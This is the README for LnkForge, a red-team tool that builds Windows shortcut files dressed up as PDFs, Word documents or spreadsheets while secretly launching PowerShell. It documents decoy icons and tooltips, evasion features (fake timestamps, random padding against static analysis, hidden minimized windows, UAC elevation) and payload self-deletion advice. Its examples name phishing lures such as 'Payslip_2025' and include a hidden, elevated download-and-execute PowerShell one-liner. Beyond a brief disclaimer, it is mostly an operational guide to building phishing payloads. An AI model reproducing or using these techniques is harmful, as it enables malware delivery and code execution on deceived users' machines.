Educational and authorized red-team use only. LnkForge is published for security research, penetration testing within authorized engagements, and controlled lab environments. The author assumes no responsibility for misuse.

LnkForge — Windows Shortcut Payload Builder


**Red-team tool · MS-SHLLINK binary builder · C++ · Windows x64** *Builds .lnk files that look like PDFs, Word documents, or spreadsheets* *Real executable and arguments are hidden inside LinkInfo — invisible to the user* *Supports fake timestamps, random padding, Base64 argument encoding*

Table of Contents


What is LnkForge

LnkForge is a command-line tool written in C++ that constructs .lnk (Windows Shortcut) files from scratch. It implements the MS-SHLLINK specification directly in binary, without relying on Windows shell APIs.

The primary use case is security research and authorized penetration testing — specifically, simulating phishing lure delivery by crafting shortcut files that:

  • display an icon matching a legitimate file type (PDF, Word, Excel, video, audio),
  • show a convincing fake path in the hover tooltip,
  • silently execute an arbitrary command when the user double-clicks.

LnkForge is a C++ rewrite and extension of the original C# tool DarkLnk. The binary format is assembled byte-by-byte, giving full control over every field — including those normally hidden from the shell API.


Origin — DarkLnk comparison

LnkForge started from the same idea as DarkLnk (C#, by wariv): use the ItemIDList/LinkInfo split in the MS-SHLLINK format to decouple the displayed icon from the real executable. The core technique is identical.

What LnkForge adds on top:

Feature DarkLnk LnkForge
Icon spoofing via -ext
Fake tooltip path
Custom binary and arguments
Base64 argument encoding (-argsb64)
Built-in -encode / -decode utility
Fake timestamps (-faketime)
UAC elevation (-runas)
Null padding between sections (-padnull)
Random padding between sections (-padrand)
Fake file size (-fakesize)
SW_SHOWMINNOACTIVE (no focus steal on launch)
LinkInfoHeaderSize = 0x1C per spec §2.3 ✗ (0x18)
VolumeID without drive serial (portable)
No .NET runtime required

Two items in the table deserve a note. DarkLnk writes LinkInfoHeaderSize = 0x18 (24), which contradicts the MS-SHLLINK spec §2.3 minimum of 28 (0x1C) — Windows accepts it, but it is technically non-conformant. The VolumeID in DarkLnk includes the build machine's drive serial number, which means the shortcut only resolves correctly on the same machine; LnkForge omits the serial so the file works on any target.


How Windows processes .lnk files

A .lnk file contains two independent data structures that serve entirely different purposes:

Section Purpose What the attacker controls
ShellLinkItemIDList Provides icon and hover tooltip — the decoy -ext, -fakepath, -fakeroot
LinkInfo + StringData Contains the real executable and arguments -bin, -args / -argsb64

Windows resolves the icon from the ItemIDList and uses the registered handler for the extension found there. When the user double-clicks, Windows ignores the ItemIDList and launches the executable from LinkInfo. The two are completely independent — they can point to entirely different things.

flowchart TD LNK[".lnk file on disk"] LNK --> IDL["ShellLinkItemIDList\n─────────────────────\nroot: 'This PC' CLSID\ndrive: -fakeroot (e.g. C:\\)\npath: -fakepath (e.g. Program Files\\Adobe\\Acrobat)\next: -ext (e.g. pdf)\n─────────────────────\nWindows shows PDF icon\nand fake path in tooltip"] LNK --> LI["LinkInfo + StringData\n─────────────────────\nbinary: -bin\n(default: powershell.exe)\n\narguments: -args / -argsb64\n─────────────────────\nWindows launches this\nwhen user double-clicks"] IDL --> ICON["User sees:\nDocument.pdf icon\nTooltip: C:\\Program Files\\Adobe\\Acrobat"] LI --> EXEC["Windows executes:\npowershell.exe -command \"...\""]

The window show command is set to SW_SHOWMINNOACTIVE — the launched process starts minimized and never takes focus, making execution invisible to a casual observer.


LNK file structure

flowchart LR subgraph header["ShellLinkHeader (76 bytes, §2.1)"] H1["HeaderSize = 0x4C"] H2["LinkCLSID"] H3["LinkFlags = 0x000800AB"] H4["FileAttributes = ARCHIVE"] H5["CreationTime ← -faketime"] H6["AccessTime ← -faketime"] H7["WriteTime ← -faketime"] H8["FileSize ← -fakesize"] H9["ShowCommand = SW_SHOWMINNOACTIVE"] end subgraph idlist["ShellLinkItemIDList (§2.2)"] I1["root item: This PC CLSID"] I2["ext item: drive ← -fakeroot"] I3["path item: path.ext ← -fakepath -ext\n(drives the icon!)"] I4["optional padding ← -padnull / -padrand"] end subgraph linkinfo["LinkInfo + StringData (§2.3 / §2.5)"] L1["VolumeID block"] L2["LocalBasePath ← -bin"] L3["Arguments ← -args / -argsb64"] end header --> idlist --> linkinfo

Command-line reference

Building a .lnk file

Flag Argument Description Default
-ext str Fake extension — drives the shortcut icon (pdf, docx, xlsx, mov, mp3, …) pdf
-o str Output filename without .lnk calc
-args str Arguments passed to the binary (plain text; quote if spaces) -command "calc.exe"
-argsb64 b64 Arguments encoded in Base64 — recommended to avoid shell quoting issues
-bin str Path to the executable to launch C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Obfuscation

Flag Argument Description Default
-faketime Randomize CreationTime, AccessTime, WriteTime in the header (29–600 days in the past) off
-fakesize int Fake FileSize written to the header 2147483647 (INT32_MAX)
-fakepath str Path shown in the hover tooltip Program Files\Adobe\Acrobat
-fakeroot str Drive letter (max 3 chars) C:\
-padnull Insert a random number of zero bytes between IDList sections off
-padrand Insert random bytes between IDList sections (harder to analyze statically) off

Base64 utilities (do not build a .lnk file)

Flag Argument Description
-encode str Encode text to Base64 and print the corresponding -argsb64 flag
-decode b64 Decode Base64 to text (for analysis and verification)

Elevation

Flag Description Default
-runas Set the RunAsUser bit (bit 13 = 0x00002000) in LinkFlags — Windows triggers a UAC prompt on double-click and launches the binary as Administrator off

Other

Flag Description
-h, --help Show the help screen

Elevation / UAC

Adding -runas sets the RunAsUser bit in the LNK header's LinkFlags field. Windows reads this flag before launching the target and presents a UAC elevation dialog to the user. If the user approves, the binary executes with Administrator privileges.

LNK field Offset Value (with -runas)
LinkFlags 0x14 0x000820AB (0x000800AB + bit 13)
Bit 13 0x15 (byte) |= 0x20

Payload note: when the binary (e.g. powershell.exe) is launched elevated via the UAC prompt, it runs at high integrity. High-integrity processes cannot enumerate Explorer windows at medium integrity through Shell.Application. If your payload includes self-deletion logic that walks Shell.Application.Windows(), run the self-delete step in a separate, unelevated process — the elevated process will not see the Explorer window containing the .lnk file.


Using -args directly on the command line can break when the payload contains quotes or special characters. The recommended approach is a two-step workflow:

Step 1 — encode the payload:

LnkForge.exe -encode "-command \"Start-Process calc\""

LnkForge prints the Base64 string and a ready-to-use -argsb64 flag.

Step 2 — build the LNK using the Base64 output:

LnkForge.exe -o Quarterly_Report -ext pdf -faketime -padrand -argsb64 <b64>

The output is Quarterly_Report.lnk — a shortcut displaying a PDF icon that executes PowerShell when opened.


Usage examples

# PDF lure with obfuscated timestamps and random inter-section padding
LnkForge.exe -o Quarterly_Report -ext pdf -faketime -padrand -argsb64 <b64>

# Word icon, fake Microsoft Office tooltip path
LnkForge.exe -o Payslip_2025 -ext docx -faketime -padrand \
    -fakepath "Microsoft\Office\Word" -argsb64 <b64>

# Excel icon, fake size matching a real spreadsheet (~240 KB)
LnkForge.exe -o Budget -ext xlsx -fakesize 245760 -faketime -argsb64 <b64>

# Decode Base64 argument from a captured LNK file (for analysis)
LnkForge.exe -decode LWNvbW1hbmQgImNhbGMuZXhlIg==

# PDF lure with UAC elevation — user sees a UAC prompt, payload runs as Administrator
LnkForge.exe -o Setup -ext pdf -faketime -runas -args "-NoProfile -WindowStyle Hidden -Command irm https://example.com/install|iex"

LNK header fields

The ShellLinkHeader is exactly 76 bytes. Key fields written by LnkForge:

Offset Field Value / Source
0x00 HeaderSize 0x0000004C (76)
0x04 LinkCLSID {00021401-0000-0000-C000-000000000046}
0x14 LinkFlags 0x000800AB — HasLinkTargetIDList, HasLinkInfo, HasRelativePath, HasArguments, IsUnicode, bit 11 unused; +0x00002000 RunAsUser when -runas
0x18 FileAttributes 0x00000020 (ARCHIVE)
0x1C CreationTime FILETIME — random past date via -faketime
0x24 AccessTime FILETIME — random offset from CreationTime
0x2C WriteTime FILETIME — random offset from CreationTime
0x34 FileSize -fakesize (default: INT32_MAX)
0x38 IconIndex 0
0x3C ShowCommand 0x07 = SW_SHOWMINNOACTIVE (starts minimized, no focus)
0x40 HotKey 0x0000
0x42 Reserved 10 × 0x00

Building from source

Requirements:

  • Windows 10 / 11 (x64)
  • Visual Studio 2022 (with C++ Desktop workload)

Build:

Open LnkForge.slnx in Visual Studio and build the Release x64 configuration, or use MSBuild:

msbuild src\LnkForge.vcxproj /p:Configuration=Release /p:Platform=x64

The output binary is written to bin\Release\x64\LnkForge.exe. No external dependencies.

Source layout:

File Responsibility
main.cpp CLI argument parsing, help screen, Base64 utility modes
LnkForge.cpp / .h LNK binary assembly — domain layer, knows the MS-SHLLINK format
Config.h Plain data structure holding all user-supplied options
BinaryUtils.cpp / .h Stateless byte utilities — LE conversions, string encoding, Base64

Disclaimer

LnkForge is published for educational purposes and authorized security testing only. Use only in environments where you have explicit written permission. Running LnkForge against systems or users without authorization is illegal in most jurisdictions. The author (Marek Wesolowski) assumes no liability for any misuse.

MS-SHLLINK specification: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink